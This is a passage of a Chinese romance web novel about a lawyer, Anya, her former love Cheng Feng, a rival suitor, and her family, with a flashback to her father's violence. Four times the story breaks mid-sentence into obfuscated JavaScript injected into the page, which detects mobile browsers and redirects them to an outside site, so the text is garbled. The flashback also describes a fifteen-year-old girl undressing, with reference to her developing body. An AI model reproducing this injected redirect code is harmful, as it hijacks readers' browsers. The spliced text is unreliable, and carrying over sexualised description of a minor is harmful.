“程枫,你看,下雨了。”安雅转头望向窗外,“那晚好像也是这样的天气。我爸又输了牌,回到家看谁都不顺眼。我知道你第二天就要去北京给阿姨治病,就想无论怎么样,都要去见你一面。”她突然笑起来,那声音传到程枫心里,刺得他一阵生疼,让他根本不敢去看安雅。 “我知道在那种情况下跟他说什么都是白搭,就准备好等他睡着了我再偷偷溜出去。但是我这个人好像运气一直都不太好,门都打开了一半,却被发现了。”也许是时过境迁,安雅的语气淡淡的,“他问我是不是要去找你,我说是。” “然后他就开始打我。”她转过身盯着程枫,“那是我第一次被打,疼不疼都已经忘了,就只想着要去找你。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464737|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 窗外雷雨大作,寒冷继续从脚底蔓延到全身。可是她现在明明穿了鞋,也不再期待任何人能帮她挡一挡十五岁的那场雨,为什么还是这么冷呢? 在程枫说出这些话以前,她一直觉得如果自己对以前算得上念念不忘的话,那一定是不甘心占了上风。 但这一刻她却突然鬼使神差的问了出来:“程枫,你喜欢过我吗?” 他眼里开始有了酸涩的刺痛,像是被什么东西堵到无法呼吸一样,程枫颤抖着声音:“喜欢,很喜欢,一直都喜欢。” 答案好像就在眼前,但安雅却依然觉得不真实。 如果程枫说的都是真的,那为什么当时他要逃跑?为什么这些年他从未联系过自己?又为什么一声不响的结婚生子?如果不是自己回来,如果不是打到了那辆车.......一瞬间有太多的疑问涌上安雅心头,但她也只是在听到答案的那一秒略带惊讶地张了张嘴,什么也没有说。 “爸爸,你怎么了?”恩宇刚醒来就看到程枫红着眼睛枯坐在床边,盯着安雅像是要碎掉一般。 被恩宇喊醒,程枫背过身去胡乱抹了一把脸。站起来给恩宇穿上外套后,就将他从被子里抱了出来。 安雅沉默地站在一旁,看着他将恩宇松散的鞋带一点一点整齐地系好,心里反倒逐渐静了下来。 整个城市都在雨幕的笼罩之下,面前的一扇窗将世界隔绝成狭小的茧,包裹着她和程枫,一晃就是十年。 她整理好袖口,盖住了手腕上程枫留下的温度。还没想好要怎么说再见,就看见曹熙手里拎着星巴克的袋子晃进了留观室,他一身黑色的西装配上金发,在医院惨白的灯光下格外扎眼。 “外面下雨了,我来接你。”曹熙蹭到安雅身边,从保温袋里把热牛奶递到她手心,目光却被一旁的程枫吸引过去。 扫过程枫泛青的下眼睑,曹熙才带着一丝迟疑开口:“这是.......程主任?第一次见你没戴口罩,还有点不习惯。” 见程枫没反应,安雅又没个好脸色,曹熙心里就已经明白了三分:“不过我记得程主任是主管妇产科,怎么这么晚了,还能在急诊碰见?” 看他顶着一张无辜的脸却话里有话,安雅没忍住瞪了一眼曹熙。但这动作落在程枫眼里,却多了点亲密的意思。尤其是在他在安雅那里刚刚碰了壁,曹熙又在这个时间点出现,让他本就咬紧的后槽牙又用力了一些。 “是有点不习惯。没看出来法援中心还有接下班这项员工福利,是每个律师都会给配一个司机吗?”程枫不急不慢地为恩宇穿上外套。 曹熙斜倚在留观室的门框上,脸上带着意味深长的笑意:“程主任这话可不对,法援中心哪请得起司机?”他故意拖长尾音,“不过如果是来接安律师,那我当然愿意做司机24小时standby。” “忘了告诉你,她今晚是我的。”程枫尽力保持着那份斯文和冷静,骨节分明的手搭在安雅肩上,俯身在她耳边:“跟我走好不好?” 22. 第二十二章 什么你的我的他的?安雅深吸了一口气才压住自己差点没翻上来的白眼。曹熙是一直没个正型,怎么程枫也开始跟他一起闹了? “让一让。”思考了几秒钟,安雅选择了无视眼前的一切就,径直走到了恩宇身边。 此时的恩宇正带着刚睡醒之后的迷糊,不知所措地看着爸爸和一个不认识的漂亮哥哥,反复摇着小脑袋看了几个回合之后,他觉得这两人好像是在斗气。 但距离判断出原因是什么,恩宇还需要一点时间。 所以他就直接问了:“阿姨,爸爸为什么要生那个哥哥的气啊?” “额......”安雅没想到他一开口就是大招。 她想了想,决定用在书上学过的理论来糊弄一下,“可能是因为只要男人凑在一起,就会出现竞争。竞争你明白吗?就像在幼儿园里,你想要一个玩具,其他小朋友也想要,但在那个时间和地点,却只有这一个玩具,你们两个就有可能会因为这个玩具打起来。” 恩宇听得懵懵懂懂。“虽然最后可能有一个人确实在这场打架中胜利了,也有可能赢的那个人就拿到了那个他想要的玩具,但竞争会导致社会不安定,一个不安定的社会就像一个没有规则的幼儿园,是很容易出问题的,明白吗?” “嗯......”恩宇似懂非懂地点了点头,“那......他们两个是在抢什么玩具呢?很好玩吗?我也想看看。” 恩宇的话一出,两个男人倒是好像都听懂了。程枫站在安雅身后有点不好意思地挠头,另一边曹熙已经快要憋不住笑了。 “我也不知道他们在争什么。”安雅挑眉,“不过你说的好像也有道理,只有玩具才能靠抢得来,其他的都不行。”她说的缓慢,回头一记凌厉的眼神,瞬间让两个大男人都缩了回去。 “这道理我们恩宇才上幼儿园就懂,真厉害!”她笑着摸摸恩宇的小脸。听安雅提起幼儿园,恩宇仿佛又感受到额角传来一阵疼痛,他想伸手去摸伤口,却被安雅眼疾手快挡住了。 “恩宇乖,医生已经帮你把伤口处理好了。但是如果你一直碰的话,伤口就没法好好愈合,会好的很慢。”安雅凑上前,在他的额角轻轻吹了吹,“好点了吗?” “嗯。”恩宇点点头。 “安律师,关于明天和解协议的内容和具体的环节步骤,我还有一些问题。”曹熙凑近了点,“我想今晚把准备工作都做好,所以收到你的消息就尽快过来了......” “我应该说的是有事发邮件吧?”安雅没好气地白了他一眼。她蹲下拉过恩宇的手,“阿姨现在要回家了,你也快回去休息好不好?” 听安雅说要离开,恩宇一时不愿,拉着安雅的手怎么也不放开。 曹熙见状也走到恩宇身边,从口袋里拿出一块糖放在他手上:“那你要不要和阿姨一起?哥哥的车很大,我们可以一起走。” “然后明早起来哥哥陪你去幼儿园,把那几个欺负人的小朋友堵半路上打一顿,给你出出气,你觉得怎么样?” “别听他胡说。”程枫皱着眉头将恩宇抱开,转头看向曹熙:“你想做司机那是你的事,但这是我们的家事,还轮不到你插手。” “哈哈家事?”曹熙笑着将自己的外套脱下,语气轻飘飘的:“程主任,知道为什么你儿子出事第一个找安律师吗?因为孩子和幼儿园都已经早习惯了,他爸爸永远有更重要的事情要做。而那些事,都比他重要........” “行了。”安雅走到曹熙身边,“今晚还要不要把和解协议书做完?” “你们两要是喜欢聊天,现在就加个联系方式好好聊,我还等着回家睡觉呢。”看安雅已经冷到抱着胳膊,曹熙便顺手将自己的外套盖在安雅肩上,放好了便立刻将手缩回来,不给安雅反驳的机会。 那外套带着柑橘香味,此刻沉甸甸压在安雅肩头。在程枫看来,像一种无声的宣告。 “明天早晨我去接你。”见安雅要走,程枫轻声说。 安雅点点头,向恩宇挥挥手告别,先曹熙一步走出了留观室。 “看来程主任是铁了心要给幼儿园还有小朋友们上一课了。”曹熙脸上露出胜利的笑,“不过作为朋友,我得提醒你,过去发生的事,就只是过去。” “没别的意思,我只是想说时机很重要。程主任要想赢,两边可都得抓紧了。”说完他便走兀自走出了病房,完全不顾程枫钉在他背上的冰冷目光。 - 手腕残留的温度被夜风卷走。安雅大步穿过急诊走廊,感应门在身后闭合的刹那,门外的暴雨劈头盖脸砸下来。 “姐姐!“曹熙的喊声混着雨声传来。身后急忙赶来的的巨大黑伞堪堪遮住她头顶,透过伞沿,安雅看见曹熙的半截身子都在雨里。 雨一滴滴落下,却并没有洇湿他身上的西装。看雨滴从他身上轻快滚落,安雅再一次明白了价值不菲的意义。只是他丝毫没有意识到这一切,昂贵的皮鞋已浸在积水里,却丝毫不动。 “雨很大,我能送你回家吗?” 坐在副驾驶上,热牛奶的香气裹着曹熙身上的香水味。安雅盯着雨刷器划出的一块短暂的空白,突然开口:“小娇的案子明天就结了,但我看你好像有话要说。” “这点钱,太便宜他了。”曹熙轻声。 “气象部门预计,7—8日,安城大部有雷阵雨局部大雨或暴雨.......”车载广播突然插播暴雨红色预警,曹熙伸手将广播按下,“你觉得小娇为什么接受和解?是为了那点钱?以你的性格,我以为你会劝她一定要走诉讼。” “因为她聪明。”安雅指尖上划将暖气调高,“知道人要往前看,也知道法律只能惩罚恶行,治愈不了人心。” “还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464738|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我什么性格?在少爷心里,我就这么好斗?” “哪有。”柑橘香混着曹熙的笑,“姐姐办过那么多性侵害相关的案子,还没看透吗?有些人的爱就和超市试吃品一样,想尝鲜的时候,就立刻殷勤的凑上来,但真要他买单,就会立刻原形毕露。难道我们就应该任由这种人乱来?” “我不知道。不过,每个人有自己要解决的问题,作为律师,我们听到的和看到的,也不过都是站在当事人这边的故事版本。也有可能大家都是半人半鬼,凑近了,谁都没法看。”安雅还是淡淡的,“不过,说实话我还有点羡慕小娇。” “啊?”曹熙转动方向盘避开水坑,“羡慕什么?及时止损?” “我羡慕她敢把伤口摊开给别人看。你想啊,这件事谁来了都要问一遍,她就又要重复一遍这种痛苦。你说及时止损吧,也有道理,她有这样的勇气,但我也能理解,她是真的喜欢过对方。“雨滴在车窗上蜿蜒成一股股水流,“可能爱就是这样,根本不会为几次心碎就停止。” “会反反复复,会今晚想通,明天又沦陷。”雨幕中闪过便利店暖黄的灯光,安雅想起程枫当年塞给她的三明治。那些被体温焐热的早餐,和小娇颤抖着签字的模样重叠在一起,“所以,因为可能曾经真实存在过的爱,她决定把那些都留在过去了......” “但你要说这是为了爱,我不同意。”他变道超车时溅起一片水花,“从小父母老师不都教过吗?爱是紧张,是重视,是不舍得对方委屈。也是会让所有人都看到,会让你感受到的好,除此之外,没有其它方式,也不会有。” “你这都什么家庭什么学校教出来的啊?”安雅轻笑,“或许每个人爱人的方式不一样?”属于程枫的那一抹冰凉还在腕间提醒着她。 “还是说爱的方式好像大都一样,但不爱的理由却是千奇百怪.......”她即使想出理由,也说服不了自己,“是不是必须要有一个人坚定地放弃或者逃跑,另一个人彻底想通,这件事才会结束?”她喃喃。 手机突然开始震动,安雅抬眼看清了程枫的名字,想了想,还是按下了静音键。车窗映出曹熙勾起的嘴角:“姐姐呢?也终于想通了?“ “嗯?“ “确定明天要签和解协议了吗?”曹熙故意,“这可不像我们安大律师的风格啊。“ “是吗?“她不置可否地抿抿嘴,“现在,我倒觉得尊重当事人的选择才是真正的胜诉。“ 雨势渐弱,安雅按下车窗,暴雨裹着北方空气中泥土的气息涌进车内,轮胎碾过水洼的声响盖过了安雅喧嚣的心跳。后视镜里,记忆逐渐缩成一个苍白的小点,最终被雨幕吞噬。 看安雅魂不守舍地望着窗外,曹熙眸光微动。不知怎的又想到程枫,心里隐隐多了些无名怒火。但也只是软着声音低声说:“你明天,可不可以不要去找他?” 23. 第二十三章 曹熙的声音很轻,那问题刚一出口就很快和雨声混在一起,变得模糊不清,但安雅还是听见了。 “嗯?”安雅不解。 他的目光扫过安雅:“明天你也一起来中心好不好?我没做过正式的和解书,不知道会不会有什么问题........” “你在担心?”安雅笑了,“还是,只是谦虚一下?” “没有。”曹熙急着辩解,“我没担心,不过就是.......你不在身边,我总觉得少了点什么。” “谁说我明天不去的?”安雅升上车窗。 他开口,赌气似的:“我都听见了,程主任约你明天去幼儿园,应该是为了他儿子的事.......” “我就不能先去中心盯着,签完合约书再走?”安雅笑笑,“幼儿园也是我想去的。恩宇还那么小,却总是被欺负,我看见了就想多管闲事,也怪不到程枫头上。” “没人怪他。”曹熙嘟囔着,“姐姐,难道你现在还.......”差一点,曹熙就问出口了。 一提到程枫,他的脑子就开始变得乱糟糟。就连上次他问起程枫,安雅也只是淡淡地盖过。想到这里,曹熙还是紧急悬崖勒马,没有说下去。 “我是想问,你们......是在交往吗?”他抿了抿唇。 安雅收回望向窗外的视线,语气平静:“没有。” “那就是朋友了?”曹熙轻笑,指尖在方向盘上有节律地敲着。一下,又一下。 安雅转头看他,眼神清淡:“是。” 话已至此,曹熙没再追问,但车内的气氛却莫名沉了几分。 猜到了一二,安雅直接转过头去问他:“你好像对程枫很感兴趣?” 曹熙笑了笑,车子被稳稳地停在安雅家附近的街边。 他解下安全带,又靠近了安雅一些:“我不信你不知道,姐姐。” 安雅眼尾轻挑,曹熙的呼吸掠过她耳后时,暧昧的橙花香味便蔓延开来。 “我呀,只对你感兴趣。” “是吗?”安雅没有推开他,一只手却已经拉开了车门,夜风钻进来卷走曹熙半真半假的香水味,“这才几天,你就连我家在哪都能知道,看起来是挺有兴趣的。” “怎么?少爷看起来不像缺钱,那到底是想从我这得到点什么呢?” “我的确不怎么缺钱。”曹熙眨眨眼,“那姐姐有没有想过,我还缺点什么?” 对于曹熙的示好,安雅不是没想过原因。但那些充满着警惕和防备的猜想都在这一刻,被曹熙的表现都打上了疑问。 好像答案都已经摆在了眼前,但安雅早已不再轻信任何一个人,她笑着轻轻推开曹熙,大步走出。 车外的雨小了不少,混着夜色,看起来雾蒙蒙的。 “要来我家一起讨论下和解书的问题吗?”安雅站在门口,虽然已经明白了他的小把戏,但也并不觉得讨厌,“别忙到半夜一点班没加,真让你当了司机。” “司机有什么不好?”曹熙笑了笑:“也没什么大问题,今天太晚了,明早我来接你。” “不用.......”“用”字还没完全说出口,曹熙汽车引擎的轰鸣声已经盖过了安雅的尾音,只留下一道白色的残影。 - 回到家时,客厅的灯还亮着。 安妈正坐在沙发上看电视,见她进门,抬头笑了笑:“今天怎么这么晚?” “你在等我?”安雅放下包,还是有点不相信,“怎么不先睡?今天有点事耽搁了。” 安妈又站起身来,接了杯热水给她,“我看外面下雨了,也不知道你带没带伞,想让你爸开车去接下你.......” “最后没叫动?”安雅笑笑,“没事,我带伞了,而且也没淋雨,同事送我回来的。” “他现在年纪大了,人也更懒了。”安妈连忙解释。 “没事,我也没等他。以前高中半夜放学不也是我自己骑车回来的嘛,我早都习惯了。”安雅喝了口热水,“这样也挺好,我们相互不麻烦对方,大家都省事。” 看安雅表情淡然,安妈犹豫了一会儿才继续开口:“以前的事都过去了,怎么说他都是你爸,你能回来,他高兴着呢,就是不会说。你也多关心关心他,他其实最爱你了.......” 安雅动作一顿,抬眼向母亲:“又来了?” “都十几年了,怎么你这套组合拳一点都没更新啊?”她舒服地瘫在沙发上,“他是我爸没有错,关于我爸爱不爱、是不是真的关心我,还是说他只是在用自己的方法表达他的感受.......这些事情,我现在真的一点都不关心。” 安雅不知道要怎么样才能向母亲证明自己没有在说气话,和父亲发生过的那些冲突早都被她留在很多年以前,现在完全没有提起来的必要。 唯一放不下的,只有安妈罢了。 “你都快三十了,迟早都要为人父母,你爸他就是那样,你习惯了就好了。”母亲叹了口气,没再说下去。 安雅垂眸,指尖轻轻摩挲着杯沿:“妈,你习惯了吗?” “你觉得习惯了有好一些吗?还是说,你也希望我和你一样,反正都已经和他当一家人已经几十年了,只要接受就行?如果我听你的话这么做了,你会舒服一点吗?”安雅全程平静地问完自己的问题,换来的却是安妈长久的沉默。 “我回来是因为在香港的律所竞争合伙人失败,正好看到法援中心在招律师。”好像从那晚和程枫坦白之后,她已经越来越擅长把这些话都说出口,输了也没什么丢人的,无论好坏,她都已经有了足够的勇气,可以去接受结果。 更何况,她现在过得还不错。 “这份工作目前还行,但具体能做多久,我想做多久,现在都不确定,所以我准备先在家里住一阵子,你要是怕我和爸不对付,我就尽快搬出去。”她舒了一口气,蹭到妈妈的身边,轻声说,“回来也挺好的,这些年我在外面都很想你。” “但是今天给我提了个醒,我应该去考个驾照,然后买辆车。方向盘在自己手里,应该就再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464739|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不用担心外面是什么天气了。”说话时,安雅开始在心里思考为什么她居然一直没有考过驾照,也没有想过要开车。 可能是因为高中毕业的时候,身边的同龄人都结伴去报驾校,但她伸手要报名费却被安爸以“女孩子学开车干什么”而拒绝。 等她真的有了钱,又开始不同国家和城市一直换着住。众所周知,香港的交通开车完全比不上地铁和打车快,所以这件事就一再被搁置。 长大真的很好,安雅在这一刻才真切地体会到书上说的:自由的20多岁就是富有的18岁。 “其实,过去的事也就都过去了,你爸是有做的不对的地方,但那也是为你好。”安妈看安雅完全没有被她的话影响到,她沉默了片刻,忽然轻声道:“程枫.......你们最近还联系吗?那孩子挺好的。” 安雅一愣,没想到话题突然转到这里。 “以前没觉得,现在想想,他那时候对你真挺上心的。”安妈笑了笑,语气里带着几分感慨,“要是早知道你现在连个对象都没有,当初就应该.......” “妈。”安雅无奈地打断,“你真想一出是一出,这都能从我爸扯到程枫?” 急于逃离现场的安雅忽略了母亲的欲言又止。 “明天还要早起,先去洗澡了。” 安妈还想再说点什么,看她已经走进浴室,也只是喃喃地自言自语:“好,你自己心里有数就好。” - 等再次回到自己的房间里时,安雅先坐在床边发了好一会儿呆。 回来的这半个月,是她成年之后第一次和父母有如此高强度的相处。可能是因为大部分时间都不在家,没有相处也就没有摩擦,日子过着倒也算得上平静。 但今晚因为母亲,过去的事好像又要被再次提起,而且还扯到了程枫。 又想到自己白天被他在医院说的话搞得不知所措,到了晚上回到家里,还要听母亲叨叨,实在是烦到头了。 安雅索性仰面倒在床上,盯着天花板上的吊灯,不一会儿便被灯光刺得眼眶发酸。 闭上眼,脑子里却不受控制的想到程枫。那触感再次从手腕传遍全身,他指尖冰凉,但迟来的心动却把她烫的脸红心跳。 犹豫片刻,她还是拿起手机,给程枫发了条消息:【恩宇的伤怎么样了?他睡了吗?】 程枫依旧很快回复:【我看伤口缝的很细致,药也按时吃过了,刚洗完澡他就睡着了。】 安雅看着屏幕,指尖轻轻敲着:【明天我要先去法援中心,签完和解书就出发,我们到时候在幼儿园门口见。】 【好。】 又想起在留观室里程枫说过的话,安雅心里不是没有疑惑,她想问点什么,却盯着那个简短的“好”字,指尖悬在屏幕上方,迟迟没有落下。 对话框顶端又开始显示“对方正在输入......”,她屏住呼吸,心跳莫名加快。 几秒后,程枫又发来一条:【关于我说喜欢你的事,你可以反复向我确认。】 24. 第二十四章 消息来的太快,等安雅反应过来程枫到底在说什么之后,已经失去了先手。 她一直觉得,生活里这些琐事和打官司一样,都得讲究一个先下手为强。所以安雅才能把那句有没有喜欢过问出口,反正最后都要走到那一步,还不如由自己开口。 不知道这是从什么时候养成的坏习惯,难为情也好,难堪也好,她只能接受这些事要由自己开始,就算失败了,也是自己一个人的错。 除此之外,安雅不愿意给任何人伤害她的机会。 “你到底在说什么啊!”一时血气上涌,安雅没过脑子就把电话拨了出去。 “嗯?”程枫倒也没有显得惊讶,“我以为你现在还没睡是在.......” “是在干什么?”手机屏幕贴着已经逐渐升温的耳朵,要是在十年以前,安雅会觉得半夜蒙着被子发短信打电话,说点白天不好意思讲出口的话是浪漫的。 可现在她只觉得尴尬。 虽然程枫很好,一直都很好,但安雅已经在学着接受他们之间无论是因为什么,也无关乎谁的错,只是错过了而已。 这些年过去,她以为自己已经可以平静甚至平淡的面对这一切了,但程枫现在是怎么回事? “你觉得我半夜不睡觉是因为在想你?”她明明没想问的。 没想问程枫还喜不喜欢自己,也没想问当年他拒绝自己的时候到底是怎么想的,更没想问现在他对自己到底是什么感觉。 安雅感受着自己亲手造成的混乱,生出种一拳打在棉花上的无力感。 电话那边,程枫沉默的几秒钟漫长的像是一个世纪。 “对不起。”程枫轻声说,“是我在想你。” 好了,这下彻底乱了。 安雅握着手机的手指发紧,耳边程枫呼吸声清晰的像是这个人就在她身侧。那句话“咚”的一声砸进她心里,让安雅意识到那里原来还有一块没有完全干涸掉的地方。 她张了张嘴,不知道该说些什么。 一瞬间有太多念头闯进安雅的脑子里:为什么程枫可以这么理直气壮?连一点迂回的余地都没给她留。这是程枫能说出来的话吗?几年不见他怎么变成这样了?不对劲,太不对劲了。 从他们再次见面开始,安雅一点一点开始回想,想给程枫找一个原因,也给自己找个理由。 电话那头,程枫似乎察觉到她的沉默,用试探般的口吻问了句:“怎么不说话?” 夜风从半开的窗户吹进来,带着雨后冰凉的湿意,安雅大口呼吸着,正好给自己通红的脸颊降降温。 “你以前不是这样的。”她低声说。 “以前是我不对。”程枫的声音里带着明显的歉疚,“现在好像也没多大长进,每次开口之前都在想你会不会生气,会不会讨厌,会不会直接挂了我的电话.......” 安雅一愣:“现在挂是不是晚了?” “别。”软糯的气声传进她的耳朵,“我还有很多话想跟你说。” 像是接受了他柔软的命令一样,安雅没说话,也没挂断。 电话那头传来细微的响动,像是恩宇的呜咽声。程枫的声音被拉远,“不怕不怕,爸爸在呢......”听筒中远远传来几声安抚。 安雅心里一软:“是伤口还在疼吗?” “做了一个不好的梦吧.......”他重新拿起电话,声音低沉,“他睡前还问我,明天能不能早点见到你?” “他好像很喜欢你。” “我也挺喜欢他的。”安雅想了想,“他很乖。” 程枫笑了笑,“看来我和恩宇一样。” 安雅一怔,随即反应过来他话里的意思。 “你喜欢乖的吗?”程枫少见的声音里带着几分轻快,可能是因为在电话里,他也大胆了不少。 安雅深吸一口气,声音低得几乎听不见:“程枫,你知不知道......” 话到嘴边,又咽了回去。 人这种生物真的很奇怪,在察觉到喜欢这件事时,总是免不了当下心里惊雷般的一声,连自己也被吓得目瞪口呆。当安雅终于意识到萦绕在自己心头的那个念头是什么之后,也是这样。 这些年,她喜欢的,一直都没有变。 所以她该说什么呢?说自己这些年过去也从来没有变过?说十五年前是他程枫错过了,还是说她甚至不确定自己现在是怎么回事? 她应该拒绝的,就像当初程枫做的那样。 似乎是察觉到她的犹豫,程枫试探着开口:“是我说错话了吗?” 淋着雨去求他带自己走的那个人已经长大了,已经可以照顾好自己了。只有程枫还留在那场大雨里。 现在的她,早已学会了权衡利弊,也懂得了喜欢这件事没那么重要。 反正都会过去的,只是快一点和慢一点的区别罢了。 “没有。”安雅闭上眼,胸口那股闷气突然就涌了上来:“我累了,有什么话,明天再说。” 程枫的呼吸声透过听筒传来,轻得几乎要被窗外不知什么时候又下起来的雨声淹没。 “好。”带着失望踌躇了一会儿,没有再等到安雅开口,程枫很乖地挂了电话。 听着电话被挂断后的忙音,安雅又觉得程枫好像也没变。他不纠缠,甚至不停留,所以便能随时抽身离开。 以前她明明恨透了这一点的。 窗外的雨滴突然变得密集,噼里啪啦砸在玻璃上。安雅看着雨水在窗面蜿蜒的痕迹,恍惚又看见十五岁那年自己浑身湿透站在程枫家门口的样子。熟悉的寒冷再次从脚底袭来,她不由得瑟缩成一团。 那晚的雨好像也这么大。 记忆带着潮湿的味道扑面而来,她无力躲避。 安雅清楚的记得,高考结束后的那几天,正是安城整个夏天最热的时候,也是当时自己父母闹离婚最凶的时候。 原因也很简单,安爸下岗了,不再安城最大制造厂里的“安师傅”,直接变成了无事可做的闲人“老安。”安雅当时就明白,所谓的社会身份和认同对于一个别无所长的中年男人来说有多重要。但她没想到的是,父亲竟然像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464740|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全变了个人一样。 他开始整日喝酒打牌吹牛,对家里说自己外出找工作,但浑浑噩噩几个月过去,工作没找到,酒量却好了不少。 随之而来的就是争吵,无休止的争吵。 可能是女儿和妈妈天然的同等性别,所以相互之间便会更容易共情另一方。即使是现在,安雅也一直站在妈妈这一边。妈妈有不满是对的,想离婚也是正常的。那么爸爸生气起来,把家里能砸的东西都砸了是不是也是能说的通呢? 妈妈住回娘家的那天没有和安雅打过招呼,因为她在上学。 也是从那一天起,她开始想要逃离。 那是程枫将要离开安城的前一天。几天前他就告诉了安雅,他的父亲终于从外面回来,要把程枫和妈妈接走,去北京。 那时程枫已经参加完了高考,可安雅还要上学到七月中,连告别好像也变得困难。 但她心里早早隐约下了决心,是一定要去见程枫的。 可能是因为她的出逃让父亲想到母亲,安妈也是这样悄悄地离开,只留给他一个空房子。所以在看到安雅做出同样的动作时,第一次,父亲动了手。 随后的记忆就像被按了快进键一般,她疯了一样的一路奔跑。雨水顺着安雅苍白的脸颊滑落,浸湿了校服她也浑然不知。直到她颤抖的手指在程枫家的门铃上停了许久,最终蜷缩着收回时,安雅才意识到,原来自己已经走了这么远的路。 还有,她真的逃出那个家了。 程枫开门时,安雅正站在台阶上,水珠从头发上一滴一滴掉落,最后散落在肩头的校服上,透着她的皮肤,折射出意味不明的光。 “带我走好不好?“她突然抓住程枫的手腕,被雨水泡皱的指尖冰凉。湿透的刘海黏在额前,露出那双眼睛,里面全都是渴望。 程枫什么都没有问,只是再次走出门时抱着毛毯,将安雅全身从上到下都包裹了起来。“先进来吧,外面雨大。” 阁楼里老旧的节能灯忽明忽暗,程枫的父母都已经睡着,他让安雅先待在这里,自己去拿吹风机和干净衣服。 回想起来,那天的程枫就像神明一样,无条件的接纳了安雅那几个月以来所有的委屈、难过和迷茫。她一直忍耐,也学着逃避,最后还是无路可走。 就在程枫低着头为她擦干头发的那几秒,一种强大的欲念从心底陡然升起,这样的生活,她不能再继续下去了。她不要像家里那两个伪善的大人一样,硬撑着维持所谓的体面和自尊,连她自己的自信也都可以放下,只要能有人愿意和她站在一起,只要她不再是一个人。 让她做什么都可以。 像要抓住最后一根稻草那样,安雅突然很想把程枫留在身边。 所以她学着电视里的情节,葱白一般的手指在阁楼的白光里,将胸前的纽扣一颗颗解开。苍白的锁骨下,少女刚发育的曲线随着紧张而带来的呼吸剧烈起伏。 等程枫手里抱着一堆东西再次走上楼时,正看见安雅站在那里对自己笑。 灯光下,她洁白的身体一丝/不挂。 25. 第二十五章 那是安雅第一次想要留住些什么。 在后来的十几年里,每每想起那晚,她总会有不同的情绪。有时候是害羞夹杂着尴尬,也偶尔会感觉到自由,但从来没有过后悔。 等程枫手里抱着吹风机和干净的衣服再次走上楼梯时,也并没有什么惊心动魄、足以让安雅铭记一生的事发生。她只是就那么看着他,像要把他灵魂也看穿一样。 这么做也不完全是被电视里的荒唐剧情教坏,在整个青春期最焦灼的那几个月里,她唯一确定拥有的,就只有程枫。 所以在他面前,安雅什么都敢做,也什么都愿意做。 她还记得程枫当时站在低矮破落的楼梯口看着她赤/裸的身体,沉默了几秒后,便猛地别过脸去。 但她却没动,安雅潮湿的头发还在滴水,顺着脖颈滑到锁骨,然后消失在初显曲线的胸口。看着程枫绷紧的侧脸,她突然笑了:“怎么了?” “别闹。”程枫强忍着慌乱把怀里的衬衣抖开,头压的很低,眼睛也始终盯着地板,“你这样会生病的。” 安雅就站在那,任由程枫用自己的衣服将她裹得严严实实。布料柔软,接触肌肤时有片刻的温暖,她闭着眼睛大口呼吸着,衣柜里陈年的木质味道和不知名的洗衣粉香气就那么从她的胸前散开,直到她整个人都被完全包裹在其中。 头顶上的节能灯滋滋响着,在并不悦耳的声响里,安雅任由自己在程枫的身边沉沦,被母亲教育要时刻牢记着挺起的肩背也开始像泄了力一般变的缠绵,最后软软靠在了身边人的肩上。 肌肤触碰的瞬间,程枫明显僵了一下,但没有躲开。 呼吸交叠的瞬间,她不禁想要看他,却突然发现程枫长高了不少。几个月前还一仰头就能望见的高挺鼻梁,现在目光所及之处,也只能够到他的下巴。 衣服还在她的胸前敞开着,程枫被她盯着看了许久,喉结上下滚动,连声音也哑得不成样子:“扣子。” 短短两个字,好像他就已经说清楚了自己的意思。 安雅没有反驳,从宽大的袖管里伸出已经被雨水泡发白的手指,从最靠近领口的地方,哆哆嗦嗦地去扣第一颗扣子。 不小心碰到了伤口,还是让她疼得吸了一口冷气。 这一次,程枫的手比她更快。他冰凉指尖轻轻揭开衬衣领口,擦过那块皮肤时,便触到一片红肿。 不出意外的,安雅锁骨下方有一大片紫红色的瘀痕,在苍白的皮肤上触目惊心。 “我爸妈要离婚了。”她轻声说。 程枫的动作顿住,他这才敢抬眼看她,手指碰到她被雨水浸泡过的皮肤时像被烫到似的,蜷缩了起来。 